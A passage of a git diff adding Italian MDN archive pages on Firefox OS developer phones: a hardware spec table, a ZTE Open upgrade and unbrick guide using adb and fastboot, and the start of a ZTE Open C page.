+   <th scope="col">Display (in pollici)</th>
+   <th scope="col">CPU</th>
+   <th scope="col">Fotocamera/e, Mpx</th>
+   <th scope="col">RAM</th>
+   <th scope="col">ROM</th>
+   <th scope="col">Capacità di memorizzazione</th>
+   <th scope="col">Batteria (in mAh)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>Alcatel One Touch Fire</p>
+    <p><em>hamachi, buri</em></p>
+   </td>
+   <td>v1.0.1/v1.1</td>
+   <td>
+    <p>320 x 480<br>
+     PX=1</p>
+   </td>
+   <td>3.5</td>
+   <td>Qualcomm MSM7227A 1 GHz</td>
+   <td>Posteriore: 3.2</td>
+   <td>256MB</td>
+   <td>512MB</td>
+   <td>/data: probabilmente la stessa di inari;<a href="http://www.alcatelonetouch.com/global-en/products/smartphones/one_touch_fire.html#.Unyg5UOVt1M"> le specifiche</a> parlano di una "memoria per l'utente" di 160MB. Probabilmente senza un DeviceStorage, è richiesta una scheda MicroSD (fino a 32GB)<br>
+     </td>
+   <td>1400</td>
+  </tr>
+  <tr>
+   <td>
+    <p>ZTE Open / varianti</p>
+    <p><em>ikura</em></p>
+   </td>
+   <td>v1.0.1 (alla consegna)</td>
+   <td>320 x 480<br>
+    PX=1</td>
+   <td>3.5</td>
+   <td>Qualcomm MSM7225A 800 MHz</td>
+   <td>Posteriore: 3.2</td>
+   <td>256MB</td>
+   <td>512MB</td>
+   <td>
+    <p>/data: 152M<br>
+     Nessuno DeviceStorage, Richiesta scheda MicroSD</p>
+   </td>
+   <td>1200</td>
+  </tr>
+  <tr>
+   <td>
+    <p>LG Fireweb</p>
+    <p><em>leo</em></p>
+   </td>
+   <td>v1.1</td>
+   <td>320 x 480<br>
+    PX=1</td>
+   <td>4</td>
+   <td>Qualcomm  MSM7227A 1 GHz</td>
+   <td>Posteriore: 5</td>
+   <td>512MB</td>
+   <td>4GB</td>
+   <td>
+    <p>/data: 1007.90M DeviceStorage: sì, capacità non certa. probabilmente 3.7G, ma può essere un errore di calcolo.  (Su un dispositivo unhapy  /sys/devices/platform/msm_sdcc.3/mmc_host/mmc0/mmc0:0001/block/mmcblk0/block risulta 7733248, assumendo blocchi da 512 byte otteniamo 3.7G)</p>
+   </td>
+   <td>1540</td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Geeksphone Keon</a></p>
+    <p><em>keon</em></p>
+   </td>
+   <td>
+    <p>v1.0.1 - nightly<br>
+     <a href="/en-US/docs/">scaricabile qui</a></p>
+   </td>
+   <td>320 x 480<br>
+    PX=1</td>
+   <td>3.5</td>
+   <td>Qualcomm Snapdragon S1 7225AB 1 GHz</td>
+   <td>Posteriore: 3</td>
+   <td>512MB</td>
+   <td>4GB</td>
+   <td>
+    <p>/data: 1.5G<br>
+      DeviceStorage disponibile: 1023.4M</p>
+   </td>
+   <td>1580</td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Geeksphone Peak</a></p>
+    <p><em>peak</em></p>
+   </td>
+   <td>v1.0.1 - nightly<br>
+    <a href="/en-US/docs/">scaricabile qui</a></td>
+   <td>540 x 960<br>
+    PX=1.5</td>
+   <td>4.3</td>
+   <td>Qualcomm Snapdragon S4 8225 1.2 GHz dual-core</td>
+   <td>
+    <p>Frontale: 2<br>
+     Posteriore: 8</p>
+   </td>
+   <td>512MB</td>
+   <td>4GB</td>
+   <td>/data: 1.5G<br>
+     DeviceStorage disponibile: 1023.4M</td>
+   <td>1800</td>
+  </tr>
+  <tr>
+   <td>Geeksphone Revolution</td>
+   <td>v1.3pre (alla consegna)</td>
+   <td>540 x 960 PX=1.5</td>
+   <td>4.7</td>
+   <td><span class="mini-text">Dual-core Intel® Atom™ processor Z2560<span class="mini-text"> fino a 1.6GHz</span></span></td>
+   <td>
+    <p>Frontale: 1.3 Posteriore: 8</p>
+   </td>
+   <td>1GB</td>
+   <td>4GB</td>
+   <td>
+    <p>/data: 2G<br>
+      DeviceStorage disponibile: 2.5GB</p>
+   </td>
+   <td>2000</td>
+  </tr>
+  <tr>
+   <td>
+    <p>Nexus 4</p>
+    <p><em>nexus-4</em></p>
+   </td>
+   <td>v1.3 - nightly</td>
+   <td>768 x 1280<br>
+    720p</td>
+   <td>4.7</td>
+   <td>
+    <p>Qualcomm<br>
+     <span class="mw-redirect">Snapdragon S4 Pro</span><br>
+     1.5 GHz quad-core</p>
+   </td>
+   <td>Posteriore: 8</td>
+   <td>2GB</td>
+   <td>8 o 16GB</td>
+   <td>tutto si trova in un grande calderone, non è disponibile uno slot MicroSD.  La dimensione del "calderone" varia a seconda della versione del dispositivo.</td>
+   <td>2100</td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="https://wiki.mozilla.org/FirefoxOS/TCP">Foxconn InFocus</a></p>
+    <p><em>flatfish</em></p>
+   </td>
+   <td> </td>
+   <td>1280 x 800</td>
+   <td>10</td>
+   <td>A31 (Arm Cortex A7) Quad-Core 1.0 GHz</td>
+   <td>
+    <p>Frontale: 2<br>
+     Posteriore: 5</p>
+   </td>
+   <td>2GB</td>
+   <td>16GB</td>
+   <td> </td>
+   <td>7000</td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="https://wiki.mozilla.org/Platform/2013-11-05">some phone thing</a></p>
+    <p><em>fugu</em></p>
+   </td>
+   <td>v1.2f (branch) <a href="https://groups.google.com/d/msg/mozilla.dev.b2g/JKAu9UNjBf8/9zj5Y3m6518J">per</a></td>
+   <td>320 x 480</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>256MB</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="https://wiki.mozilla.org/FirefoxOS/Tarako">Spreadtrum SC6821</a></p>
+    <p><em>tarako</em></p>
+   </td>
+   <td>v1.3 <a href="https://wiki.mozilla.org/FirefoxOS/Tarako">per</a></td>
+   <td>HVGA<br>
+    320 x 480</td>
+   <td>3.5</td>
+   <td>Cortex A5 1GHz</td>
+   <td>0.3 (solo posteriore?)</td>
+   <td>128MB (zram)</td>
+   <td>2GB NAND flash (esterna) + 1GB LPDDR1 (interna)</td>
+   <td>32GB (scheda MicroSD)</td>
+   <td>1100</td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="https://hacks.mozilla.org/2014/02/open-applications-tcp/">VIA Vixen</a></p>
+    <p><em><a href="https://wiki.mozilla.org/Platform/2014-03-18">versione di flatfish sviluppata dalla comunità</a>?</em></p>
+   </td>
+   <td> </td>
+   <td>1024 x 600</td>
+   <td>7</td>
+   <td>Cortex-A9 Dual Core 1.2 GHz</td>
+   <td>
+    <p>Frontale: 0.3 Posteriore: 2<br>
+      </p>
+   </td>
+   <td>1GB</td>
+   <td>8GB</td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="https://blog.mozilla.org/press/2014/02/developer-momentum-2/">Flame</a></p>
+    <p><em>"dispositivo di riferemento"</em></p>
+   </td>
+   <td>v1.3</td>
+   <td>854 × 480</td>
+   <td>4.5</td>
+   <td>Qualcomm MSM8210 Snapdragon, 1.2GHZ Dual core processor</td>
+   <td>Frontale: 2<br>
+    Posteriore: 5</td>
+   <td>256MB -1GB (regolabile dallo sviluppatore)</td>
+   <td>8GB</td>
+   <td> </td>
+   <td>1800</td>
+  </tr>
+ </tbody>
+</table>
+<p>Spiegazione delle colonne:</p>
+<ul>
+ <li>Risoluzione:
+  <ul>
+   <li>orizzontale x verticale</li>
+   <li>PX=1, PX=1.5, o PX=2 corrispondono al valore della variabile GAIA_DEV_PIXELS_PER_PX da utilizzare per il dispositivo</li>
+  </ul>
+ </li>
+ <li>Capacità di memorizzazione:
+  <ul>
+   <li>"/data" rappresenta lo storage interno, dove si trovano IndexDB e altre cose. Lo storage è confinato per ogni singola app e non è accessibile attraverso lo storage USB. Questi dati sono potenzialmente accessibili via adb a seconda dei privilegi disponibili.</li>
+   <li>DeviceStorage è dove le <a href="/docs/WebAPI/Device_Storage">API DeviceStorage</a> memorizzano i contenuti. Alcuni dispositivi possono avere storage interno (ad esempio: leo), alcuni dispositivi possono avere dello storage esterno tramite schede MicroSD, altri ancora possono supportare entrambi (ad esempio: leo).  Questo storage è potenzialmente disponibile sia alle app sia agli utenti via USB.</li>
+   <li>I valori non arrotondati sono ottenuti dal comando "adb shell df" nella colonna "size".</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/it/archive/b2g_os/phone_guide/zte_open/index.html b/files/it/archive/b2g_os/phone_guide/zte_open/index.html
new file mode 100644
index 0000000000..7ccf6182a8
--- /dev/null
+++ b/files/it/archive/b2g_os/phone_guide/zte_open/index.html
@@ -0,0 +1,179 @@
+---
+title: The Firefox OS ZTE OPEN
+slug: Archive/B2G_OS/Phone_guide/ZTE_OPEN
+translation_of: Archive/B2G_OS/Phone_guide/ZTE_OPEN
+---
+<div class="summary">
+ <p>Mozilla have partnered with ZTE to create the ZTE OPEN, a powerful Firefox OS-based device aimed at developers and early adopters worldwide. They are unlocked and open for testing and experimentation.</p>
+</div>
+<h2 id="Purchasing_a_device">Purchasing a device</h2>
+<p>These devices are available through ZTE's US and UK eBay stores, and a separate Hong Kong page aimed at Asian and Oceanian customers who don't want to pay high postage costs. They are priced at $79.99/£59.99.</p>
+<ul>
+ <li><a href="http://stores.ebay.com/ztemobileuk">Buy from UK eBay store</a></li>
+ <li><a href="http://stores.ebay.com/ztemobileus">Buy from US eBay store</a></li>
+ <li><a href="http://www.ebay.com/itm/331031989534">Buy from Hong Kong page</a></li>
+</ul>
+<h2 id="Upgrading_Firefox_OS">Upgrading Firefox OS</h2>
+<p>This section provides instructions for upgrading Firefox OS on your ZTE OPEN device.</p>
+<h3 id="General">General</h3>
+<p>In general, Firefox OS builds, updates and testing are done by connecting your phone to a computer using a USB cable, and using ADB (Android Debugging Bridge) and Fastboot to join the devices together and issue commands. You'll therefore need to install ADB and fastboot from the <a href="http://developer.android.com/sdk/index.html" title="Android Developer Tookit">Android Developer Toolkit</a> on your desktop machine. It is not necessary to install the entire toolkit. adb and fastboot are found in the <code>/platform-tools/</code> folder.</p>
+<p>Next, you need to go to your phone and <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Remote_debugging">enable remote debugging</a>.</p>
+<h3 id="Firefox_OS_1.1">Firefox OS 1.1</h3>
+<p>On 10th December 2013: ZTE released a Firefox OS 1.1 upgrade for the ZTE OPEN. <strong>This now has fastboot enabled</strong>, which was caused the problems with the previous published builds.</p>
+<p>At this point, it's best to first upgrade your phone to version 1.1, even if you wanted to go to version 1.2. To do this, download the 1.1 package that corresponds to your phone (<a href="http://www.ztedevices.com/support/smart_phone/b5a2981a-1714-4ac7-89e1-630e93e220f8.html">OPEN (American Standard)</a> or <a href="http://www.ztedevices.com/support/smart_phone/cba40ed6-d3ab-44c0-bdee-3a15803dc187.html">OPEN (European Standard)</a>) and unzip it to get a PDF of instructions plus a firmware ZIP.</p>
+<div class="note">
+ <p><strong>Note</strong>: User data will be wiped by the SD package installation. You should <a href="https://developer.mozilla.org/en-US/Firefox_OS/Firefox_OS_build_prerequisites#Backup_the_phone_system_partition">backup your data</a> before starting.</p>
+</div>
+<p>Now follow these steps:</p>
+<ol>
+ <li>Power off your phone, remove the battery to access the microSD card and extract the card from its holder.</li>
+ <li>Connect the microSD card to your desktop machine.</li>
+ <li>Move US_DEV_FFOS_V1.1.0B04_UNFUS_SD.zip or EU_DEV_FFOS_V1.1.0B04_UNFUS_SD.zip (depending on the version you downloaded) to the root directory of your microSD card. Do not unzip the file.</li>
+ <li>Disconnect the microSD card from your desktop computer and return it to your phone.</li>
+ <li>Hold the volume up and power keys down simultaneously. Volume up is activated by pressing the upper part of the long key on the left side of the phone. If you did it properly, you’ll enter the Firefox OS recovery mode. (Note that the Firefox OS logo may display briefly before you enter the recovery mode; sometimes this can take a little while.)</li>
+ <li>Use the volume up/down key to move from one item to the other in the menu, and chose “apply update from external storage.”</li>
+ <li>Press the power key to confirm the selection. You’ll see a new screen listing the files you have on the microSD card.</li>
+ <li>Again use volume up/down key to select the firmware: either US_DEV_FFOS_V1.1.0B04_UNFUS_SD.zip or EU_DEV_FFOS_V1.1.0B04_UNFUS_SD.zip (depending on the version you downloaded), and press the power key to confirm.</li>
+</ol>
+<p>If everything went well, you’ll see a sequence of status messages, culminating with one that says, “Install from sdcard complete.” You’ll need to select “reboot system now”: your phone will reboot, and you’ll see the configuration screen you saw the first time you powered on the phone.</p>
+<h3 id="Firefox_OS_1.2">Firefox OS 1.2</h3>
+<p>In January 2014, ZTE released a beta version of Firefox OS 1.2 (fastboot enabled, with root access). It is basically version 1.1 baseline + version 1.2 Gecko and Gaia, and doesn't require the build to be put on the phone's SD Card.</p>
+<p>With 1.1 installed as described above, open a terminal and check that the connection is made with the following command:</p>
+<pre class="brush: bash">adb devices -l
+</pre>
+<p>You should see your device as something like, "roamer2    device usb:2-1.2", in response.</p>
+<p>Download the appropriate version of the build from the Dropbox account ZTE has set up: <a href="https://www.dropbox.com/sh/rnj3rja7gd54s98/32KXfFmedN/P752D04_DEV_US_20131212_v1.2.7z" title="Firefox OS 1.2 build for ZTE Open US">US version</a> or <a href="https://www.dropbox.com/sh/rnj3rja7gd54s98/_twgXEkMFH/P752D04_DEV_EU_20131212_v1.2.7z" title="Firefox OS 1.2 build for ZTE Open UK">UK version</a>. For Windows users, you can also <a href="https://www.dropbox.com/sh/rnj3rja7gd54s98/6ZoJwmlRjn/Installation%20Instruction.docx" title="Special upgrade instructions for Windows users">download special instructions</a>, and <a href="https://www.dropbox.com/sh/rnj3rja7gd54s98/-fyi2XHFPG/upgrade_tool" title="Upgrade tool">an upgrade tool</a> to help you to install the new version easily. The steps below however will work on <strong>all operating systems</strong> – Linux, OS X, and Windows – without relying on the special tool.</p>
+<p>Once you have the file, extract the contents, and open a console. Note that those steps will erase your personal data, so be sure to make a (<a href="https://developer.mozilla.org/en-US/Firefox_OS/Firefox_OS_build_prerequisites#Backup_the_phone_system_partition">backup</a>) first. Then navigate to the folder where the files are. Still in the console, type this command:</p>
+<pre class="brush: bash" style="font-family: monospace;">adb reboot bootloader</pre>
+<p>While the phone is rebooting, execute the following command. (Fastboot only works inside a reboot):</p>
+<pre class="brush: bash" style="font-family: monospace;">sudo fastboot devices
+</pre>
+<p>If you see, "&lt; waiting for device &gt;", hit Ctrl-C and retry the command until you see something like, "ROAMER2    fastboot", in response.</p>
+<p>Then, quickly execute the following commands while it is still rebooting:</p>
+<pre class="brush: bash" style="font-family: monospace;">fastboot flash boot boot.img
+fastboot flash userdata userdata.img
+fastboot flash system system.img
+fastboot flash recovery recovery.img
+fastboot erase cache
+fastboot reboot</pre>
+<p>(The reboot completed before I was done entering all the commands as I was distracted. I simply restarted from the, "adb reboot bootloader".)</p>
+<p>If everything went well, your phone should reboot at this point. You’ll find that this version of 1.2 from ZTE includes many test applications, which you can remove if you like.</p>
+<div class="note">
+ <p><strong>Note</strong>: <a href="https://hacks.mozilla.org/2014/01/upgrading-your-zte-open-to-firefox-1-1-or-1-2-fastboot-enabled/">Upgrading your ZTE Open to Firefox 1.1 or 1.2 (fastboot enabled)</a> by <span class="url">Frédéric Harper</span> also provides a useful breakdown of the install process.</p>
+</div>
+<h2 id="Phone_features">Phone features</h2>
+<ul>
+ <li>CPU Qualcomm MSM7225A 1.0Ghz</li>
+ <li>UMTS 850/1900 or UMTS900/2100</li>
+ <li>GSM 850/900/1800/1900 (2G EDGE)</li>
+ <li>Screen 3.5" HVGA</li>
+ <li>Camera 2 MP (back)</li>
+ <li>256 MB (RAM)</li>
+ <li>MicroSD (support up to 32GB)</li>
+ <li>Battery 1200 mAh</li>
+ <li>Wifi b, g, n, Bluetooth 2.1 EDR</li>
+ <li>Light &amp; Prox. Sensor, G-Sensor</li>
+ <li>Radio FM, GPS</li>
+ <li>MicroUSB</li>
+</ul>
+<div class="note">
+ <p><strong>Note</strong>: the Hong Kong phones also support tri-band 3G Networks — HSDPA 850/1900/2100 (850/1900 for US, CA, 850/1900/2100 for Asia, AU, and 900/2100 for EU.)</p>
+</div>
+<h2 id="Wireless_carriers">Wireless carriers</h2>
+<div class="warning">
+ <p>Pricing information is for reference only and may not be accurate. Visit the associated link for official information.</p>
+</div>
+<h3 id="US_carriers">US carriers</h3>
+<h4 id="ATT">AT&amp;T</h4>
+<ul>
+ <li><a href="http://www.att.com/shop/wireless.html">Website</a></li>
+ <li>Nationwide coverage for 2G EDGE and 3G</li>
+</ul>
+<h5 id="Sampling_of_prepaid_ATT_plans">Sampling of prepaid AT&amp;T plans</h5>
+<p><a href="http://www.att.com/shop/wireless/gophone.html">Prepaid GoPhone®</a>, Smartphone Plans</p>
+<ul>
+ <li>$25/month, $5/50MB 3G data</li>
+ <li>$60/month with 2GB data, $10/GB additional 3G data</li>
+</ul>
+<h4 id="Aio">Aio</h4>
+<ul>
+ <li><a href="http://www.aiowireless.com/home.html">Website</a></li>
+ <li>{{ anch("AT&amp;T") }}'s own MVNO</li>
+</ul>
+<h5 id="Sampling_of_prepaid_Aio_plans">Sampling of prepaid Aio plans</h5>
+<ul>
+ <li>Aio Smart - $55/month with 2GB 3G data, $10/GB additional 3G data</li>
+ <li>Aio Pro - $70/month with 7GB 3G data, $10/GB additional 3G data</li>
+</ul>
+<h4 id="Good2GO">Good2GO</h4>
+<ul>
+ <li><a href="https://us.good2gomobile.com/">Website</a></li>
+ <li>{{ anch("AT&amp;T") }} MVNO</li>
+</ul>
+<h5 id="Sampling_of_prepaid_Good2GO_plans">Sampling of prepaid Good2GO plans</h5>
+<ul>
+ <li>$50/month with 1GB 3G data, $20/GB additional 3G data</li>
+</ul>
+<h4 id="Other_anch(ATT)_MVNOs">Other {{ anch("AT&amp;T") }} MVNOs</h4>
+<p>These carriers do not offer additional 3G data.</p>
+<ul>
+ <li><a href="http://goredpocket.com/">RedPocket</a></li>
+ <li><a href="http://www.net10wireless.com/">Net10</a></li>
+ <li><a href="http://www.straighttalk.com/">Straight Talk</a></li>
+ <li><a href="https://www.airvoicewireless.com/">Airvoice</a></li>
+</ul>
+<h4 id="T-Mobile">T-Mobile</h4>
+<ul>
+ <li><a href="http://www.t-mobile.com/">Website</a></li>
+ <li>Nationwide coverage for 2G EDGE, limited metropolitan coverage for 3G</li>
+</ul>
+<h3 id="Canadian_carriers">Canadian carriers</h3>
+<p>The US version of the ZTE Open also work in Canada on carriers that use the Bell/Telus network, or the Rogers network. Some regional carriers like Sasktel or MTS that have UMTS should work too.</p>
+<p>It will not work on carriers that do not use UMTS or GSM, like Public Mobile, nor on the carriers that use the AWS band like WIND Mobile, Mobilicity, Videotron or Eastlink.</p>
+<h2 id="Memory_card">Memory card</h2>
+<h3 id="File_system">File system</h3>
+<p>In order to be recognized by the phone, the MicroSD card must be formatted as a FAT32 file system. If a card is new or has never been reformatted, it should work as is.</p>
+<h2 id="Device_revisions">Device revisions</h2>
+<h3 id="Revision_01">Revision 01</h3>
+<p>Phones produced before 09/27/2013 do not have fastboot enabled and must be updated. Normally, this would be handled by Software Updates, but since some users have reported trouble with this method, ZTE have made SD card packages available to enable fastboot on earlier devices. Flash images for:</p>
+<ul>
+ <li><a href="http://www.ztedevices.com/support/smart_phone/b5a2981a-1714-4ac7-89e1-630e93e220f8.html">Phones purchased at ZTE eBay US/Hong Kong store</a></li>
+ <li><a href="http://www.ztedevices.com/support/smart_phone/cba40ed6-d3ab-44c0-bdee-3a15803dc187.html">Phones purchased at ZTE eBay UK store</a></li>
+</ul>
+<p>The zip file is linked under Downloads. Once the file is downloaded and unzipped, follow the instructions in the bundled PDF to flash the package to your phone.</p>
+<p>Related Support Forum Questions:</p>
+<ul>
+ <li><a href="https://support.mozilla.org/en-US/questions/971252">ZTE Open update crashes</a></li>
+ <li><a href="https://support.mozilla.org/en-US/questions/967817">Why is my ZTE Open unable to update Firefox OS?</a></li>
+ <li><a href="https://support.mozilla.org/en-US/questions/976414?page=3">How can I unbrick ZTE Open with adb debug Disabled?</a></li>
+</ul>
+<h3 id="Revision_02">Revision 02</h3>
+<p>Phones produced on or after 09/27/2013 are fastboot enabled by default. <strong>This includes the Hong Kong phones.</strong></p>
+<div class="note">
+ <p><strong>Note</strong>: If you are unsure of your phone's revision, check it in <strong>Settings &gt; Device Information &gt; Software</strong>. If it is older than the following version numbers, you will need to update your phone using the above SD packages to enable fastboot.</p>
+ <ul>
+  <li>Phones from UK store：OPEN_EU_DEV_FFOS_V1.0.0B02</li>
+  <li>Phones from US store：OPEN_US_DEV_FFOS_V1.0.0B02 <em>(Some phones may display this version incorrectly, see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=916098#c39">bug 916098</a>.)</em></li>
+ </ul>
+</div>
+<h2 id="Device_support">Device support</h2>
+<p>Once your phone has {{ anch("Device revisions","fastboot enabled") }}, you will then be able to <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS">build and install new Firefox OS/B2G</a> builds on it (start at the <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">build prerequisite</a> instructions, and treat the ZTE like it is an Inari device, for the purposes of configuration), and recover your phone if necessary, using the procedure cited in the {{ anch("I bricked my phone") }} section.</p>
+<p>If you encounter errors about setting the system time while flashing a custom build, you may need to download a <a href="http://sl.edujose.org/2013/10/adapted-boot-image-for-use-with-b2g.html">modified boot image</a>.</p>
+<h3 id="I_bricked_my_phone">I bricked my phone</h3>
+<p>If you are in the process of modifying your phone and it becomes “unresponsive” you should be able to recover it using fastboot with the following simple procedure.</p>
+<p>First remove the USB cable and then remove the battery from the phone for 30 seconds. Then reinsert the battery and press the volume up button while holding the power button for a few seconds. Next reconnect the USB cable and run the following commands from a terminal window in the directory that contains the SD package files described above (it is worth checking for an update to the SD package before you do this):</p>
+<pre class="brush: bash" lang="bash">fastboot flash recovery recovery.img
+fastboot flash boot boot.img
+fastboot flash userdata userdata.img
+fastboot flash system system.img
+fastboot reboot
+</pre>
+<p>This process should recover your phone. If it doesn't seem to work, you may have to try it a second time.</p>
+<h3 id="Headphones_not_working">Headphones not working?</h3>
+<p>We found that the headset jack is designed by a Chinese manufacturer that has compatibility problems with other brands of headsets that include microphones. You may have voice mute problems when you try to use headsets made by Apple, Samsung, HTC, and others. You can buy a 3.5 mm headset adapter that reverses the microphone and ground pins to avoid this problem. For more information, see {{ Bug("812607") }}.</p>
+<h3 id="Other_support_notes">Other support notes</h3>
+<p>Some customers have come across an Issue of FOTA updates failing to enable fastboot; this is still under investigation, and we are assisting ZTE to analyze every scenario. We will post more information as it is available.</p>
+<p>If your phone was unfortunately damaged during the FOTA update because of ZTE providing false or wrong update files, you can attempt to restore it to factory settings using the appropriate SD image and instructions referenced in {{ anch("Revision 01") }}. Otherwise, send your phone back to the eBay store you purchased it from in exchange for a new one. You may contact the store owner directly via an eBay message.</p>
+<h2 id="See_also">See also</h2>
+<p><a href="https://marketplace.firefox.com/developers/dev_phone">Official Dev Phone page on Firefox Marketplace</a></p>
+<p><a href="http://www.movistar.co/documentos/manualesProductos/ZTE_Mozilla_Open_P752-Manual_de_Usuario.pdf">Draft User Manual [en-US]</a> - PDF</p>
diff --git a/files/it/archive/b2g_os/phone_guide/zte_open_c/index.html b/files/it/archive/b2g_os/phone_guide/zte_open_c/index.html
new file mode 100644
index 0000000000..b18b0ff3da
--- /dev/null
+++ b/files/it/archive/b2g_os/phone_guide/zte_open_c/index.html
@@ -0,0 +1,263 @@
+---
+title: ZTE OPEN C
+slug: Archive/B2G_OS/Phone_guide/ZTE_OPEN_C
+tags:
+  - Device
+  - Firefox OS
+  - Gaia
+  - Open C
+  - Phone
+  - Smartphone
+  - zte
+translation_of: Archive/B2G_OS/Phone_guide/ZTE_OPEN_C
+---
+<div class="summary">
+<p><span class="seoSummary">Lo smartphone ZTE Open C Firefox OS rappresenta un'offerta evoluta di ZTE con hardware di fascia alta, tra cui una fotocamera a 3 MP e uno schermo da 4 pollici ed è disponibile con versione 1.3 di Firefox OS preinstallata.  Questo articolo fornisce informazioni sul telefono, incluse procedure dettagliate di aggiornamento e di risoluzione di problemi.</span></p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Le seguenti istruzioni <strong>non </strong>sono valide per dispositivi ZTE Open. Se hai un dispositivo ZTE Open dorvesti andare alla nostra pagina <a href="/en-US/Firefox_OS/Developer_phone_guide/ZTE_OPEN">ZTE Open</a>.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Il tool di aggiornamento necessario per lo sblocco del telefono (vedi sotto) è disponibile ad oggi solamente per Windows. Non acquistare questo telefono se non hai un sistema Windows e vuoi installare manualmente gli aggiornamenti di Firefox OS.</p>
+</div>
+
+<p><a href="https://commons.wikimedia.org/wiki/File:Open_C_night_blue_multiview01.jpg"><img alt="Open C blue nuit" src="https://upload.wikimedia.org/wikipedia/commons/c/cd/Open_C_night_blue_multiview01.jpg" style="float: left; height: 720px; width: 1280px;"></a></p>
+
+<p>Lo ZTE Open C è stato il primo telefono con <a href="http://blog.mozilla.org/futurereleases/2014/05/08/firefox-os-update-adds-new-features-including-dual-sim-support-and-enhancements-for-music-lovers-and-gamers">l'ultimo aggiornamento di Firefox OS a metà 2014</a>. Offre molteplici nuove funzionalità tra cui l'accesso diretto al lettore musicale dalla schermata di blocco o dalla barra delle notifiche e funzionalità avanzate di condivisione dati via Bluetooth, quali il trasferimento simultaneo di più file. Gli utenti ora possono navigare il telefono più rapidamente con gli <em>"smart folder"</em> che organizzano automaticamente le applicazioni in categorie, con prestazioni di scorrimento dello schermo migliorate e con tempi di avvio più rapidi per le applicazioni di sistema (ad esempio il calendario, i contatti, la fotocamera).</p>
+
+<h2 id="Acquistare_un_dispositivo">Acquistare un dispositivo</h2>
+
+<p>Il telefono viene venduto a US $69.99, ed è disponibile su eBay:</p>
+
+<ul>
+ <li><a href="http://item.ebay.com/291125433026">ZTE eBay US store</a></li>
+ <li><a href="http://item.ebay.co.uk/171301269724">ZTE eBay UK store</a> (negozio consigliato per i clienti Europei)</li>
+ <li><a href="http://cgi.ebay.de/ws/eBayISAPI.dll?ViewItem&amp;item=131151681046&amp;ssPageName=STRK:MESE:IT">ZTE eBay DE store</a></li>
+ <li><a href="http://www.ebay.com/itm/111326263156">ZTE eBay RU and EU stores</a></li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: <span id="result_box" lang="it"><span class="hps">I telefoni</span> <span class="hps">non sono dotati di</span> <span class="hps">applicazioni <span id="result_box" lang="it"><span class="hps">pre</span><span class="atn">-</span><span>installate </span></span>o</span> <span class="hps">servizi specifici</span> di <span class="hps">compagnie telefoniche</span><span>.</span> <span class="hps">Sono </span><span class="hps">inoltre completamente</span> <span class="hps">sbloccati</span> <span class="hps">per l'uso</span> <span class="hps">da parte degli sviluppatori</span><span>.</span></span></p>
+</div>
+
+<h2 id="Caratteristiche_del_telefono">Caratteristiche del telefono</h2>
+
+<p>Puoi trovare più informazioni alla nostra pagina dedicata alle <a href="/en-US/Firefox_OS/Developer_phone_guide/Phone_specs">specifiche per telefoni e dispositivi</a>.</p>
+
+<h2 id="Aggiornare_il_software">Aggiornare il software</h2>
+
+<p>Per aggiornare la versione di Firefox OS del tuo Open C il modo più semplice è quello di utilizzare le immagini disponibili sul sito web di ZTE. Vai <a href="http://www.ztedevice.com/support/selectproduct.html?type=software">alla pagina di supporto Software di ZTE</a>, s<span id="result_box" lang="it"><span class="hps">eleziona la</span> tua <span class="hps">regione nella</span> <span class="hps">colonna di sinistra</span><span>,</span> quindi <em><span class="hps">Smart Phone</span> </em><span class="hps">nella colonna al centro,</span> <span class="hps">e Open</span> <span class="hps">C</span> <span class="atn hps">(</span>European Standard<span class="hps">)</span> <span class="hps">o Open</span> <span class="hps">C</span> <span class="atn hps">(</span><span>American Standard</span><span>)</span><span>,</span> <span class="hps">a seconda di dove</span> <span class="hps">è stato acquistato</span> <span class="hps">il telefono</span><span>, nella colonna di destra.</span> <span class="hps">Quindi fai clic</span> <span class="hps">sul pulsante</span> <em>Selected </em><span class="hps">per andare</span> <span class="hps">alla pagina di download</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="it"><span class="hps">Quando</span> <span class="hps">hai scaricato</span> <span class="hps">la build</span><span>,</span> troverai un<span class="hps"> PDF nel</span> <span class="hps">file ZIP</span> <span class="hps">che ti spiega</span> <span class="hps">come installarla.</span></span></p>
+
+<p> </p>
+
+<h2 id="Immagini_di_sistema_fornite_dalla_Community_francese_di_Mozilla"><span id=" result_box" lang="it">Immagini di sistema fornite dalla Community francese di Mozilla</span></h2>
+
+<div class="warning">
+<p><span lang="it">Ricordate che l'installazione delle rom della community <strong>non può prescindere dal rooting del telefono per il tramite del software windows <a href="http://down.comebuy.com/Open_C_upgrade_Tool.zip">Open C upgrade Tool</a></strong>. Il rooting con altri metodi (via linux. ad esempio) non vi permetterà di portare a buon fine l'installazione!</span></p>
+</div>
+
+<p>Ormai da qualche tempo, la community francese di Mozilla mette a disposizione degli utenti delle immagini di firefox os realizzate appositamente per lo ZTE Open C.</p>
+
+<p>Al momento, questa è la procedura più semplice per aggiornare il vostro dispositivo. Anche in questo caso, però, sarà necessario avere un terminale con i permessi di root.</p>
+
+<p>Anzitutto, recatevi sul <a href="http://builds.firefoxos.mozfr.org/doc/en/devices/zte-open-c">portale dedicato</a> e selezionate la tipologia di dispositivo in vostro possesso, scegliendo tra:</p>
+
+<ul>
+ <li>ZTE Open C FR (venduti da distributori francesi);</li>
